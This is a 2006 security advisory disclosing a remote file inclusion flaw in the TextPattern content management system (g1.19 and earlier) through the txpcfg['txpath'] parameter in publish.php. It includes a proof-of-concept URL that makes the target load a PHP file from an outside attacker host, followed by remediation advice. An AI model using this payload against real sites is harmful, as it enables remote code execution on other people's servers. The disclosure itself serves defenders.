Author          : Zeni Susanto A.K.A Bithedz
Date Found      : October, 25th 2006
Location        : Indonesia,Bandung
Critical Lvl    : Highly critical

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~

Application     : TextPattern
version         : <=g1.19
URL             : http://textpattern.com/deanload/textpattern_g119.zip

textpattern is A free, flexible, elegant, easy-to-use content management system for all kinds of websites, even weblogs.


---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~

In file publish.php I found vulnerability script
--------------------------publish.php---------------------------------------
define("txpath",$txpcfg['txpath']); 
----------------------------------------------------------------------------

Input passed to the "txpcfg['txpath']" parameter in publish.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.


Proof Of Concept:
~~~~~~~~~~~~
http://yourtargetsite/[textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?
Solution:
~~~~
- Sanitize variable $txpcfg['txpath'] on affected files.
- Turn off register_globals
